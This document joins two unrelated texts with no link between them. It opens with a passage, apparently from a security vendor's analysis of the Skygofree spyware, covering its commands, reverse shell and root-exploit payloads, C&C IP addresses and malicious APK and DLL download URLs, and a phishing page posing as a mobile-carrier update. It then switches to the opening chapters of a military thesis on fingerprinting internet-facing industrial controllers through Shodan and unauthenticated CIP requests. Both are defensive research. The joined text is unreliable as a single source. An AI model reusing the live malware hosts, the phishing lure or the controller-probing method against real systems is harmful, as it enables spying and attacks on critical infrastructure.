|-----------------------------|-------------------------------------------------------------------------|
| AndroidAlarmManager | Uploading last recorded .amr audio |
| AndroidSystemService | Audio recording |
| AndroidSystemQueues | Location tracking with movement detection |
| ClearSystems | GSM tracking (CID, LAC, PSC) |
| ClipService | Clipboard stealing |
| AndroidFileManager | Uploading all exfiltrated data |
| AndroidPush | XMPP С&C protocol (url.plus:5223) |
| RegistrationService | Registration on C&C via HTTP (url.plus/app/pro/) |
Interestingly, a self-protection feature was implemented in almost every service. Since in Android 8.0 (SDK API 26) the system is able to kill idle services, this code raises a fake update notification to prevent it. Cybercriminals have the ability to control the implant via HTTP, XMPP, binary SMS and FirebaseCloudMessaging (or GoogleCloudMessaging in older versions) protocols. Such a diversity of protocols gives the attackers more flexible control. In the latest implant versions there are 48 different commands. You can find a full list with short descriptions in the Appendix. Here are some of the most notable:
- **‘geofence’** – this command adds a specified location to the implant’s internal database and when it matches a device’s current location the malware triggers and begins to record surrounding audio.
- **‘social’** – this command starts the ‘AndroidMDMSupport’ service – this allows the files of any other installed application to be grabbed. The service name makes it clear that by applications the attackers mean MDM solutions that are business-specific tools. The operator can specify a path with the database of any targeted application and server-side PHP script name for uploading.
- **‘wifi’** – this command creates a new Wi-Fi connection with specified configurations from the command and enables Wi-Fi if it is disabled. So, when a device connects to the established network, this process will be in silent and automatic mode. This command is used to connect the victim to a Wi-Fi network controlled by the cybercriminals to perform traffic sniffing and man-in-the-middle (MitM) attacks.
- **‘camera’** – this command records a video/capture a photo using the front-facing camera when someone next unlocks the device.
Some versions of the Skygofree feature the self-protection ability exclusively for Huawei devices. There is a ‘protected apps’ list in this brand’s smartphones, related to a battery-saving concept. Apps not selected as protected apps stop working once the screen is off and await re-activation, so the implant is able to determine that it is running on a Huawei device and add itself to this list. Due to this feature, it is clear that the developers paid special attention to the work of the implant on Huawei devices.
Also, we found a debug version of the implant that contains interesting constants, including the version.
After a deep analysis of all discovered versions of Skygofree, we made an approximate timeline of the implant’s evolution. However, some facts indicate that the APK samples from stage two can also be used separately as the first step of the infection. Below is a list of the payloads used by the Skygofree implant in the second and third stages.
### Reverse shell payload
The reverse shell module is an external ELF file compiled by the attackers to run on Android. The choice of a particular payload is determined by the implant’s version, and it can be downloaded from the command and control (C&C) server soon after the implant starts, or after a specific command. In the most recent case, the choice of the payload zip file depends on the device process architecture. For now, we observe only one payload version for following the ARM CPUs: arm64-v8a, armeabi, armeabi-v7a. Note that in almost all cases, this payload file, contained in zip archives, is named ‘setting’ or ‘setting.o’. The main purpose of this module is providing reverse shell features on the device.
The payload is started by the main module with a specified host and port as a parameter that is hardcoded to ‘54.67.109.199’ and ‘30010’ in some versions. Alternatively, they could be hardcoded directly into the payload code. We also observed variants that were equipped with similar reverse shell payloads directly in the main APK /lib/ path.
### Exploit payload
At the same time, we found an important payload binary that is trying to exploit several known vulnerabilities and escalate privileges. According to several timestamps, this payload is used by implant versions created since 2016. It can also be downloaded by a specific command. The exploit payload contains the following file components:
| Component name | Description |
|--------------------------------------------------|--------------------------------------------------|
| run_root_shell/arrs_put_user.o/arrs_put_user/poc | Exploit ELF |
| db | Sqlite3 tool ELF |
| device.db | Sqlite3 database with supported devices and their constants needed for privilege escalation |
‘device.db’ is a database used by the exploit. It contains two tables – ‘supported_devices’ and ‘device_address’. The first table contains 205 devices with some Linux properties; the second contains the specific memory addresses associated with them that are needed for successful exploitation. If the infected device is not listed in this database, the exploit tries to discover these addresses programmatically. After downloading and unpacking, the main module executes the exploit binary file. Once executed, the module attempts to get root privileges on the device by exploiting the following vulnerabilities:
- CVE-2013-2094
- CVE-2013-2595
- CVE-2013-6282
- CVE-2014-3153 (futex aka TowelRoot)
- CVE-2015-3636
After an in-depth look, we found that the exploit payload code shares several similarities with the public project android-rooting-tools.
### Busybox payload
Busybox is public software that provides several Linux tools in a single ELF file. In earlier versions, it operated with shell commands like this: Stealing WhatsApp encryption key with Busybox.
### Social payload
Actually, this is not a standalone payload file – in all the observed versions its code was compiled with exploit payload in one file (‘poc_perm’, ‘arrs_put_user’, ‘arrs_put_user.o’). This is due to the fact that the implant needs to escalate privileges before performing social payload actions. This payload is also used by the earlier versions of the implant. It has similar functionality to the ‘AndroidMDMSupport’ command from the current versions – stealing data belonging to other installed applications. The payload will execute shell code to steal data from various applications.
The example below steals Facebook data:
| Package name | Name |
|-------------------------------|-------------------------------|
| jp.naver.line.android | LINE: Free Calls & Messages |
| com.facebook.orca | Facebook messenger |
| com.facebook.katana | Facebook |
| com.whatsapp | WhatsApp |
| com.viber.voip | Viber |
### Parser payload
Upon receiving a specific command, the implant can download a special payload to grab sensitive information from external applications. The case where we observed this involved WhatsApp. In the examined version, it was downloaded from:
`hxxp://url[.]plus/Updates/tt/parser.apk`
The payload can be a .dex or .apk file which is a Java-compiled Android executable. After downloading, it will be loaded by the main module via DexClassLoader API. As mentioned, we observed a payload that exclusively targets the WhatsApp messenger and it does so in an original way. The payload uses the Android Accessibility Service to get information directly from the displayed elements on the screen, so it waits for the targeted application to be launched and then parses all nodes to find text messages. Note that the implant needs special permission to use the Accessibility Service API, but there is a command that performs a request with a phishing text displayed to the user to obtain such permission.
## Windows
We have found multiple components that form an entire spyware system for the Windows platform.
| Name | MD5 | Purpose |
|------------------------|--------------------------------------------------|-------------------------------------------|
| msconf.exe | 55fb01048b6287eadcbd9a0f86d21adf | Main module, reverse shell |
| network.exe | f673bb1d519138ced7659484c0b66c5b | Sending exfiltrated data |
| system.exe | d3baa45ed342fbc5a56d974d36d5f73f | Surrounding sound recording by mic |
| update.exe | 395f9f87df728134b5e3c1ca4d48e9fa | Keylogging |
| wow.exe | 16311b16fd48c1c87c6476a455093e7a | Screenshot capturing |
| skype_sync2.exe | 6bcc3559d7405f25ea403317353d905f | Skype call recording to MP3 |
All modules, except skype_sync2.exe, are written in Python and packed to binary files via the Py2exe tool. This sort of conversion allows Python code to be run in a Windows environment without pre-installed Python binaries. msconf.exe is the main module that provides control of the implant and reverse shell feature. It opens a socket on the victim’s machine and connects with a server-side component of the implant located at 54.67.109.199:6500. Before connecting with the socket, it creates a malware environment in ‘APPDATA/myupd’ and creates a sqlite3 database there – ‘myupd_tmp\\mng.db’:
```sql
CREATE TABLE MANAGE(ID INT PRIMARY KEY NOT NULL,Send INT NOT NULL, Keylogg INT NOT NULL,Screenshot INT NOT NULL,Audio INT NOT NULL);
INSERT INTO MANAGE (ID,Send,Keylogg,Screenshot,Audio) VALUES (1, 1, 1, 1, 0 )
```
Finally, the malware modifies the ‘Software\Microsoft\Windows\CurrentVersion\Run’ registry key to enable autostart of the main module. The code contains multiple comments in Italian, here is the most noteworthy example:
*“Receive commands from the remote server, here you can set the key commands to command the virus”*
Here are the available commands:
| Name | Description |
|-----------------------|-----------------------------------------------------------------------------|
| cd | Change current directory to specified |
| quit | Close the socket |
| nggexe | Execute received command via Python’s subprocess.Popen() without outputs |
| ngguploads | Upload specified file to the specified URL |
| nggdownloads | Download content from the specified URLs and save to specified file |
| nggfilesystem | Dump file structure of the C: path, save it to the file in json format and zip it |
| nggstart_screen | Enable/disable screenshot module. When enabled, it makes a screenshot every 25 seconds |
| nggstop_screen | |
| nggstart_key | Enable/disable keylogging module |
| nggstop_key | |
| nggstart_rec | Enable/disable surrounding sounds recording module |
| nggstop_rec | |
| ngg_status | Send components status to the C&C socket |
| *any other* | Execute received command via Python’s subprocess.Popen(), output result will be sent to the C&C socket. |
All modules set hidden attributes to their files:
| Module | Paths | Exfiltrated data format |
|------------------------|-------------------------------------------|----------------------------------------------|
| msconf.exe | %APPDATA%/myupd/gen/ | %Y%m%d-%H%M%S_filesystem.zip (file structure dump) |
| system.exe | %APPDATA%/myupd/aud/ | %d%m%Y%H%M%S.wav (surrounding sounds) |
| update.exe | %APPDATA%/myupd_tmp/txt/ | %Y%m%d-%H%M%S.txt (keylogging) |
| | %APPDATA%/myupd/txt/ | |
| wow.exe | %APPDATA%/myupd/scr/ | %Y%m%d-%H%M%S.jpg (screenshots) |
| skype_sync2.exe | %APPDATA%/myupd_tmp/skype/ | yyyyMMddHHmmss_in.mp3 |
| | %APPDATA%/myupd/skype/ | yyyyMMddHHmmss_out.mp3 (skype calls records) |
Moreover, we found one module written in .Net – skype_sync2.exe. The main purpose of this module is to exfiltrate Skype call recordings. Just like the previous modules, it contains multiple strings in Italian. After launch, it downloads a codec for MP3 encoding directly from the C&C server:
`http://54.67.109.199/skype_resource/libmp3lame.dll`
The skype_sync2.exe module has a compilation timestamp – Feb 06 2017 and the following PDB string:
`\\vmware-host\Shared Folders\dati\Backup\Projects\REcodin_2\REcodin_2\obj\x86\Release\REcodin_2.pdb`
network.exe is a module for submitting all exfiltrated data to the server. In the observed version of the implant it doesn’t have an interface to work with the skype_sync2.exe module.
### Code similarities
We found some code similarities between the implant for Windows and other public accessible projects.
`https://github.com/El3ct71k/Keylogger/`
It appears the developers have copied the functional part of the keylogger module from this project.
### Distribution
We found several landing pages that spread the Android implants.
| Malicious URL | Referrer |
|--------------------------------------------------------------------------------|--------------------------------|
| `http://217.194.13.133/tre/internet/Configuratore_3.apk` | `http://217.194.13.133/` |
| `http://217.194.13.133/appPro_AC.apk` | – |
| `http://217.194.13.133/190/configurazione/vodafone/smartphone/VODAFONE%20Configuratore%20v5_4_2.apk` | `http://217.194.13.133/` |
| `http://217.194.13.133/190/configurazione/vodafone/smartphone/Vodafone%20Configuratore.apk` | `http://217.194.13.133/` |
| `http://vodafoneinfinity.sytes.net/tim/internet/Configuratore_TIM.apk` | `http://vodafoneinfinity.` |
| `http://vodafoneinfinity.sytes.net/190/configurazione/vodafone/smartphone/VODAFONE%20Configuratore%20v5_4_2.apk` | `http://vodafoneinfinity.` |
| `http://windupdate.serveftp.com/wind/LTE/WIND%20Configuratore%20v5_4_2.apk` | `http://windupdate.serv` |
| `http://119.network/lte/Internet-TIM-4G-LTE.apk` | `http://119.network/lte/d` |
| `http://119.network/lte/Configuratore_TIM.apk` | 2015-07-08 |
Many of these domains are outdated, but almost all (except one – appPro_AC.apk) samples located on the 217.194.13.133 server are still accessible. All the observed landing pages mimic the mobile operators’ web pages through their domain name and web page content as well.
**NETWORK CONFIGURATION**
**AGG. 2.3.2015**
Dear Customer, in order to avoid malfunctions to your internet connection, we encourage you to upgrade your configuration. Download the update now and keep on navigating at maximum speed!
**DOWNLOAD NOW**
Do you doubt how to configure your smartphone?
Follow the simple steps below and enter the Vodafone Fast Network.
**Installation Guide**
1. **Download**
Click on the DOWNLOAD button you will find on this page and download the application on your smartphone.
2. **Set your Smartphone**
Go to Settings-> Security for your device and put a check mark on Unknown Sources (some models are called Sources Unknown).
3. **Install**
Go to notifications on your device (or directly in the Downloads folder) and click Vodafone Configuration Update to install.
4. **Try high speed**
Restart your device and wait for confirmation sms. Your smartphone is now configured.
Further research of the attacker’s infrastructure revealed more related mimicking domains. Unfortunately, for now we can’t say in what environment these landing pages were used in the wild, but according to all the information at our disposal, we can assume that they are perfect for exploitation using malicious redirects or man-in-the-middle attacks. For example, this could be when the victim’s device connects to a Wi-Fi access point that is infected or controlled by the attackers.
### Artifacts
During the research, we found plenty of traces of the developers and those doing the maintaining. As already stated in the ‘malware features’ part, there are multiple giveaways in the code. Here are just some of them:
- ngglobal – FirebaseCloudMessaging topic name
- Issuer: CN = negg – from several certificates
- negg.ddns[.]net, negg1.ddns[.]net, negg2.ddns[.]net – C&C servers
- NG SuperShell – string from the reverse shell payload
- ngg – prefix in commands names of the implant for Windows
### Conclusions
The Skygofree Android implant is one of the most powerful spyware tools that we have ever seen for this platform. As a result of the long-term development process, there are multiple, exceptional capabilities: usage of multiple exploits for gaining root privileges, a complex payload structure, never-before-seen surveillance features such as recording surrounding audio in specified locations.
Given the many artifacts we discovered in the malware code, as well as infrastructure analysis, we are pretty confident that the developer of the Skygofree implants is an Italian IT company that works on surveillance solutions, just like HackingTeam.
**Notes**
*Skygofree has no connection to Sky, Sky Go or any other subsidiary of Sky, and does not affect the Sky Go service or app.*
|
# DISTINGUISHING INTERNET-FACING ICS DEVICES USING PLC PROGRAMMING INFORMATION
## Thesis
**Paul M. Williams, Major, USA**
AFIT-ENG-T-14-J-41
Department of the Air Force
Air University
Air Force Institute of Technology
Wright-Patterson Air Force Base, Ohio
**Distribution Statement A:**
Approved for public release; distribution unlimited. The views expressed in this thesis are those of the author and do not reflect the official policy or position of the United States Air Force, the Department of Defense, or the United States Government. This material is declared a work of the U.S. Government and is not subject to copyright protection in the United States.
---
## Abstract
The Shodan search engine reveals Industrial Control System (ICS) devices around the globe are directly connected to the Internet. After Shodan’s inception in 2009, multiple news reports have focused on the increased threat to infrastructure posed by Shodan. While no attacks to date have been directly attributed to Shodan searches, its existence provides an anonymous reconnaissance platform that facilitates ICS targeting for those actors with both a desire and capability to carry out attacks. Recent research has demonstrated that simple search queries return thousands of ICS devices indexed by Shodan, and the number of newly indexed ICS devices is growing. This research discusses the method used to distinguish the Internet-facing ICS devices indexed by the Shodan search engine. PLC code is obtained by sending specifically crafted CIP request messages to the devices, capitalizing on the fact that authentication is not built into the CIP application layer protocol. This data allows categorization of Internet-facing devices by comparing PLC code attributes. The results of this research show PLC code can be collected from Internet-facing ICS devices with no significant impact to task execution times. Also, this research demonstrates a method to distinguish Internet-facing ICS devices by function and by Critical Infrastructure sector. This capability develops an understanding of the function and purpose of ICS devices that are being connected to the Internet.
---
## Dedication
I dedicate this to my wife and children for tolerating me in this endeavor.
---
## Acknowledgments
I would like to thank my two Academic Advisors, Lt Col Robinson and Maj Butts along with Juan Lopez and Steven Dunlap for their leadership and motivation during the course of this research. I would also like to thank the faculty and students at AFIT who helped me think through some of these problems. Finally, I would like to thank Dr. Nathaniel Davis who took the time to ensure I had the tools necessary to compete and succeed in this program. Lion Brigade Sir!
---
## I. Introduction
The Shodan search engine maintains a database of devices connected to the Internet. It works by indexing the response messages for a variety of protocols for each public Internet address. While there have been many reports in the press that Shodan increases risk to Critical Infrastructure, no recent research has attempted to distinguish the Industrial Control System (ICS) that Shodan indexes. This research examines a non-invasive method to distinguish ICS devices based on Programmable Logic Controllers (PLC) programming information. Allen-Bradley RSLogix 5000 PLCs use tags in PLC code to label variables. These tags can be obtained by sending Common Industrial Protocol (CIP) requests for code attributes and parsing the results. This research demonstrates the ability to use tags to distinguish ICS devices indexed by Shodan based on function, and using industry experts, further distinguish those devices by industrial sector. This chapter describes the problem statement, scope, and methodology used to determine the metrics and methods required to obtain the necessary information from Internet-facing ICS devices that permits a classification based on function. This chapter concludes with an overview of the subsequent chapters included in this thesis.
### 1.1 Problem Statement
The National Institute of Standards and Technology (NIST) has published regulations regarding the safe and secure implementation of ICS networks. In the NIST guidelines, it is clear that no ICS devices should be connected to the Internet, either by means of a public Internet Protocol (IP) address or by forwarding public address space to a private address using Network Address Translation or Port Address Translation (NAT/PAT). Many industry experts have developed a false sense of security, believing their networks are safe from attack because they are not connected to the Internet. However, Shodan has demonstrated that ICS devices are, in fact, connected to the Internet. Recent research has sought to enumerate ICS devices indexed by Shodan, and the results show Shodan continues to index more ICS devices as time continues. To date, no research has been conducted that attempts to determine the function of those Internet-facing ICS devices. The goal of this research is to distinguish Internet-facing ICS devices indexed by Shodan.
To accomplish the research goal, data collection methods are tested in a controlled environment to ensure that Internet-facing ICS devices are not interrupted by the collection process. Reverse engineering techniques are used to write scripts in the Python language that craft application layer request messages for each PLC. The responses to those requests contain PLC code that contains Task, Program, Routing, and Tag names along with tag data types. Next, testing on four different Allen-Bradley PLC Central Processing Units (CPUs) is conducted to measure PLC performance during the request/response process. Finally, the PLC code is visually inspected for process control terms to indicate if an ICS device is used to control a process. The results of this inspection are ICS devices classified as Process Control or Indeterminate.
### 1.2 Scope, Assumptions and Limitations
The scope of this research is limited in the type of ICS device tested and data sets available for analysis. This research builds on recent work using Allen-Bradley PLCs to detect changes to PLC code execution times and to detect changes in interaction with a PLC after it is indexed by Shodan. For this reason, a Shodan search query is used to obtain a pool of Allen-Bradley CompactLogix and ControlLogix family PLCs. From this device pool, controlled testing is conducted on four different Allen-Bradley CPUs: 1756-L61, 1756-L71, 1769-L23E, and 1769-L32E.
The implementation of this research collects PLC code from Allen-Bradley PLCs that are connected to the Internet. The results from those collections are analyzed individually. This research does not attempt to look at similarities in PLC code among the sample population or look at contiguous IP space in order to identify systems of systems.
A set of municipal wastewater PLC project files are used for static analysis, providing a set of Program, Routine, and Tag data representing PLCs currently in use in Critical Infrastructure. These project files are from one small geographic area within the United States and from one Critical Infrastructure sector, and therefore not representative of a larger population.
Limitations to this research affect the types of Allen-Bradley PLCs available for testing and the data available for static analysis of PLC code. Allen-Bradley RSLogix5000 PLCs are used in this research as the RSLogix500 PLCs such as the MicroLogix family do not use tags to handle PLC code variables. Static analysis is also impacted by the small, geographically localized set of available PLC project files.
### 1.3 Approach
Collecting PLC code from Internet-facing ICS devices must not impact the device’s operation. Impact is defined as a statistically significant increase in task execution time. Experimentation on ICS devices in a controlled environment provides the means to develop non-invasive data collection methods and measure performance metrics to determine impacts those collection methods have on ICS devices. The goal of this research is to distinguish Internet-facing ICS devices based on PLC programming information. This research accomplishes this goal by obtaining a list of Internet-facing ICS devices, collecting PLC code, and classifying devices by matching process control terms with the names used by ICS engineers to write PLC code.
The Shodan search engine indexes devices in the same manner that Google indexes web pages. Shodan requests service information for a specific IP and port, and indexes the response message. Carefully crafted Shodan search queries are used to obtain IP addresses for devices with matching service response messages. This is the method this research uses to obtain a list of Allen-Bradley PLCs indexed by Shodan.
Collecting PLC code from ICS devices makes use of CIP Get Attribute List messages that return Task, Program, and Routine names along with names and data types for Global and Program-specific tags. The RSLogix5000 software uploads PLC code from the device by making several CIP requests for class and instance values for Task, Program, Routine, and Tag values. Reverse engineering these requests using Wireshark captures, it is possible to create CIP requests replicating certain parts of the upload process, obtaining PLC code without using RSLogix5000. Once pilot testing confirms that the Python scripts are able to collect PLC code from an ICS device, testing is conducted measuring the task and system process execution times to ensure ICS device performance is not negatively impacted. During this testing, four different PLC CPUs are tested, each with three firmware versions. The firmware versions are selected according to firmware versions obtained during exploratory testing. For each CPU, it is tested with three firmware versions ranging from oldest to newest found on Internet-facing devices. Once PLC code is collected, each response is categorized based on attributes found in the PLC code.
Finally, a visual inspection of the PLC code collected from Internet-facing PLCs is conducted to match the names of Tasks, Programs, Routines, and Tags with a list of process control terms common across multiple Critical Infrastructure sectors.
### 1.4 Overview of Subsequent Chapters
The remainder of this thesis describes in detail the background, testing, and results of distinguishing Internet-facing ICS devices indexed by Shodan. Chapter 2 discusses the types of ICS devices and networks in use today along with the relevant research into Shodan and Internet-facing ICS devices. Chapter 3 details the methodology used to develop methods to obtain data from Internet-facing ICS devices, ensuring PLC task execution is not negatively impacted. Chapter 4 describes the results of testing and implementing the research methodology. Finally, Chapter 5 states the research conclusions and future work that can be conducted to further classify Internet-facing ICS devices.
---
## II. Background
Industrial control systems (ICS) are used by corporations and municipalities to operate and maintain critical infrastructure providing essential services such as electric power distribution and wastewater management. ICS systems operate by means of an interconnected network of devices to make automated and human-assisted decisions affecting the operation of attached mechanical actuators and sensors. Despite governmental and industry efforts to standardize secure ICS implementations, compliance with security recommendations and industry best practices like those cited in the National Institute of Standards and Technology (NIST) Guide to Industrial Control Systems are still voluntary. The critical nature of these systems combined with a lack of security focus make ICS networks interesting and vulnerable targets for attackers.
Security managers believe segregating their ICS networks from the Internet provided a sufficient level of security. In 2009, however, the Shodan search engine showed that against NIST security guidelines, ICS devices are in fact connected to the Internet. The Shodan search engine indexes these devices and provides a reconnaissance platform to passively identify ICS devices.
Recent research has shed new light on the ICS attack surface by indexing and cataloging ICS devices connected to Internet-facing IP addresses. The purpose of this chapter is to define the components and methods used to implement ICS systems and also review current research demonstrating ways and means to interact with Internet-facing ICS devices.
### 2.1 Critical Infrastructure and Industrial Control Systems
The Department of Homeland Security (DHS) defines Critical Infrastructure as the “assets, systems, and networks, whether physical or virtual, so vital to the United States that their incapacitation or destruction would have a debilitating effect on security, national economic security, national public health or safety, or any combination thereof.” DHS assumes the responsibility of protecting what it calls Critical Infrastructure and Key Resources (CIKR). DHS divides CIKR into 16 different sectors divided by functionality: financial, chemical, commercial, communications, manufacturing, dams, defense industrial base, education, emergency services, energy, food and agriculture, healthcare, national monuments and icons, nuclear reactors and materials, transportation, and water.
Industrial Control Systems can be divided into three components: Human-Machine Interface (HMI), Remote Diagnostics and Maintenance Utilities, and the Control Loop consisting of Controllers, Actuators, Sensors, and a Controlled Process.
The control loop refers to the sensors, transmission methods, and controllers that operate at the lowest level of the ICS. Controllers such as Programmable Logic Controllers (PLCs) receive information from sensors and make decisions based on set points programmed into the PLC. For example, a PLC receives a specific voltage level from a temperature sensor and, based on that information, causes an actuator to open a cooling valve. The PLC also sends information to an HMI and a data historian for human observation and logging. HMIs are the devices that monitor and display information for an ICS which allows a central control room staffed by human operators to monitor data and configure the PLC’s parameters when required. Remote maintenance systems are used in ICS for preventing and recovering from equipment failures.
#### 2.1.1 SCADA Network Architectures
There are many different network topologies that support Supervisory Control and Data Acquisition Systems (SCADA) software and hardware design. This research will focus on an architecture using IP-based communications protocols and replicates SCADA architectures recommended by industry and governmental agencies.
There are varying terminologies used to describe a SCADA topology. The NIST Guide to ICS Security provides an example of four SCADA topologies: point to point, series, series-star, and multi-drop. Point-to-point topologies typically use serial communications instead of the IP-based communications focused on in this research. Series, series-star, and multi-drop are used to network multiple field devices on a shared medium with the SCADA server.
Rockwell Collins defines their topologies as point to point and point to multipoint (multi-drop). Rockwell Collins identifies point to multipoint as the main topology used in SCADA networks. The multipoint (multi-drop) topology connects several field devices to a SCADA server through a central hub. The entire SCADA system is interconnected through IP-based Local Area Network (LAN) and Wide Area Network (WAN) links.
SCADA architectures use a variety of transmission systems to connect the control center to field sites. These connections can be accomplished using serial connections, modem connections, WAN and LAN shared media connections, or wireless radio. Electric power distribution SCADA systems are geographically dispersed and often utilize many different transmission methods such as Ethernet, dial-up/leased line serial connections, wireless IP, and wireless radio. Each of these systems uses appropriate transmission protocols such as Modbus/TCP and DNP3 to format and send data over the transmission medium used in a SCADA topology.
#### 2.1.2 ICS Components
ICSs are typically categorized as SCADA or Distributed Control Systems (DCS) based on their topology and purpose. SCADA systems are geographically dispersed systems with numerous field sites sending data to a central data historian, while DCS systems are normally configured to operate within a confined plant-centric area. In SCADA systems, control devices such as PLCs are primarily used to supervise and monitor the state of an attached physical device, where PLCs in DCS systems typically control systems that execute mechanical operations.
SCADA components are separated into the control components and network components. These components allow SCADA systems to exchange real-time data between a centralized control center and field devices. The control station is normally populated with any combination of control servers, Master Terminal Units (MTU), Human-Machine Interfaces (HMI), data historians, and Input/Output Servers. The control server hosts the control software that communicates with field devices, the I/O Server provides a method to communicate with field devices, and the MTU works with field devices in a master/slave configuration to implement changes made at the control center. The Data Historian is a centralized database server that logs all process information within the SCADA system for auditing, data analysis, and future planning.
These ICS field devices communicate with the control center and are responsible for monitoring and executing instructions based on their configured algorithms and set points. The PLC is a versatile control module that can be populated with special purpose modules to carry out a wider range of tasks. The PLC has the capability to logically control complex tasks by receiving feedback from an attached sensor and making decisions based on its programmed algorithm to maintain or change the state of an attached physical device.
PLCs used in SCADA systems are the most versatile and configurable of the field devices, capable of performing all supervisory control and data acquisition functions as other field devices. Siemens and Rockwell Collins are two of the largest manufacturers of PLCs, with the Germany-based Siemens focusing on European markets and Rockwell Collins being the largest manufacturer based in the United States. Rockwell Collins manufactures Allen-Bradley PLCs which are represented in nearly every Critical Infrastructure sector and have a 30 percent share of the North American electrical utilities market. The Allen-Bradley Logix 5000 series PLCs consist of a power supply, communications backplane, and 1756-A7 chassis with up to 7 slots for add-on modules. The PLC uses ARM processors for control and backplane communications. The control module houses the processors, memory, slot for flash memory, and an RS-232 communications port. The remaining slots in the PLC are populated with I/O modules based on specific tasks the PLC is required to perform. Examples of these modules are analog and DC input modules used to read voltage levels from sensors which the PLC then converts into digital information used as input in execution of a task.
#### 2.1.3 Allen-Bradley Industrial Control Systems
The Allen-Bradley ControlLogix family of PLCs consists of a chassis, controller, communications module, and a number of optional modules providing additional functionality such as I/O. The standard controllers for ControlLogix PLCs are the L6x and L7x series. These controllers can be populated in any chassis slot, and multiple controllers can be installed and operate simultaneously in a ControlLogix chassis. The primary difference between the L6x and L7x controllers is the built-in communications architecture. The L6x controller provides an RS-232 serial communications capability while the L7x controller has a built-in USB port. Allen-Bradley varies the amount of user memory within each series from 2MB on the L61 controller to 32MB on the L65 controller. Both controllers are used to execute PLC code and communicate with additional modules via the ControlLogix chassis backplane.
Ethernet/Industrial Protocol (EtherNet/IP) describes the Ethernet Industrial Protocol used by Allen-Bradley for PLC real-time messaging and I/O communications over IP-based networks. The EtherNet/IP modules available for use in Allen-Bradley PLCs include an integrated web server that provides device configuration and communications data. Allen-Bradley recommends using the communications statistics provided by a Diagnostic Web Page for troubleshooting PLC communication issues. The statistics provide a means to obtain current device state and communication capabilities by means of making a Hypertext Transfer Protocol (HTTP) GET request to the device’s IP address.
The CompactLogix family of PLCs provides a compact, integrated PLC solution that uses the same RSLogix common programming platform as the ControlLogix family. The CompactLogix platform is built around an integrated backplane, CPU, and communications module providing control and communications services for a range of I/O options. The 1769-L23x series provides embedded I/O functions in the device and limited expansion options. The 1769-L3x series increases options for onboard user memory and increases the number of possible add-on modules. Both use integrated serial communications or EtherNet/IP for communications with other devices or the RSLogix control software.
PLCs are programmed using one of the languages listed in the International Electrotechnical Commission (IEC) published standard IEC 61131-3. This standard describes the graphical and text-based programming languages which are used to provide logical decision-making for programmable controllers. The Allen-Bradley Logix 5000 series PLCs conform to the IEC 61131-3 standard and use a proprietary Studio 5000 Engineering and Design Environment to facilitate graphical program design and implementation.
RSLogix 5000 is a software application from Allen-Bradley that provides programming, control, and troubleshooting services for their PLCs. RSLogix 5000 provides a graphical interface to build and monitor ladder logic, which is a type of PLC code supported by Allen-Bradley PLCs. Tags can be thought of as any other programming variable, having assigned names and data types. Ladder logic instructions can use tags to make decisions, such as monitoring a tag as a setpoint.
RSLogix 5000 also provides real-time monitoring for ladder logic execution and provides a suite of tools useful for troubleshooting. The RSLogix Task Monitor tracks operating statistics such as CPU Utilization and ladder logic execution times. Task Monitor collects data from the PLC by sending requests for execution times to the PLC at a user-defined interval. The PLC returns in microseconds the execution times for system processes and all tasks executing in ladder logic. This allows Task Monitor to calculate CPU Utilization and track the load on system services, such as the communications service.
The PLC firmware is the layer between logic and PLC hardware that implements logical operations in PLC code on the PLC itself. Allen-Bradley provides a support site where firmware feature sets and compatibility can be checked, and firmware can be downloaded once an e-mail address is registered with Allen-Bradley through an online sign-up page.
#### 2.1.4 ICS Protocols
A PLC makes decisions and executes code once all appropriate modules, firmware, and PLC code is loaded and configured. During operation, PLCs need to communicate with other field devices and HMIs for real-time information reporting and control. ICS protocols such as EtherNet/IP and CIP allow PLCs to communicate using an industry standard protocol which allows PLCs to communicate over any Transmission Control Protocol/Internet Protocol (TCP/IP) network.
CIP is an open industry standard application layer protocol managed by ODVA, Inc. that allows PLCs to communicate using a variety of ICS networking technologies such as DeviceNet, ControlNet, CompoNet, and EtherNet/IP. CIP uses a producer-consumer model which allows PLCs to publish tag data and attributes to multiple consumers. CIP identifies messages by Connection IDs instead of source/destination address which allows multiple devices to make a single request for a Connection ID. Attribute messages are published for all consumers who have made a request to the Connection ID eliminating the need for multiple devices to initiate individual requests for tag attributes.
EtherNet/IP is an ICS communications protocol operating at layers 1-4 of the Open Systems Interconnection (OSI) model allowing CIP messages to route over IP networks. EtherNet/IP at the transport layer segments CIP messages using Transmission Control Protocol (TCP) or User Datagram Protocol (UDP) protocols based on the CIP message type. EtherNet/IP uses TCP for explicit CIP messages such as the Get Attribute List request. TCP is a connection-oriented protocol that ensures delivery of the message. EtherNet/IP uses UDP to transmit real-time information such as I/O messages. UDP is connection-less, but it is faster and smaller than TCP and suitable for time-sensitive transmissions. EtherNet/IP also provides a mechanism to establish connections between devices through a Connection Manager. CIP connections define packets that are produced and transmitted over a given network. Explicit messaging handles the routine produce and consume messages, assigning Connection IDs for produced information and handling the messaging to consumers. Implicit messaging refers to the time-sensitive I/O information transmitted via UDP by EtherNet/IP. The Unconnected Message Manager handles communication requests for routine information such as Identity Object attributes without establishing Connection IDs. This reduces the communications overhead for infrequent or routine requests by eliminating the need to establish connections and reserve resources through the Connection Manager.
### 2.2 The Shodan Search Engine
In 2013, Vice magazine published an article called “Is Shodan really the world’s most dangerous search engine?” In 2009, the Shodan search engine was placed into operation and provided proof that ICS networks around the globe were directly connected to the Internet by means of PLCs using public-facing IP addresses. Recent research has developed techniques to quantify the problem and continues to discover more public-facing ICS devices. Much is being done to raise the alarm about the quantity of ICS devices connected to the Internet, but not much is being done to determine the function those devices perform.
Shodan was created by John Matherly in order to map software deployments across the internet to assist developers in determining what systems were connected to the Internet. The utility of Shodan became clear to researchers, security experts, and hackers alike, and Shodan became a tool to find all types of hardware and software using public-facing IP addresses. In 2009, Elian Leverett published his methodology using Shodan to determine the IP addresses of over 7,500 public-facing ICS devices.
Matherly started indexing banner messages on a Dell computer in his free time, cataloging messages at a rate of 10,000 per month. His intent to conduct worldwide banner grabbing was to allow companies to track deployment of their hardware and software. Shodan works by randomly selecting a public IP address, then interrogating a set of well-known ports for that IP, indexing any banner messages returned.
“I don’t consider my search engine scary...It’s scary that there are power plants connected to the Internet.” Any user can query Shodan’s database and receive up to 10 results for free. Alternatively, users can register and pay a $20 fee to have access to 10,000 results per search query. Some articles on Matherly have hinted that this provides a layer of insulation between Shodan and a black-hat hacker; however, Matherly states that the subscription service allows him to devote more assets to Shodan and now indexes “hundreds of millions a month.”
In 2010, Michael Schearer presented his work “Shodan for Penetration Testers” at DEFCON 18. Schearer began his talk by describing methods used to craft search queries to identify vulnerable devices.
---
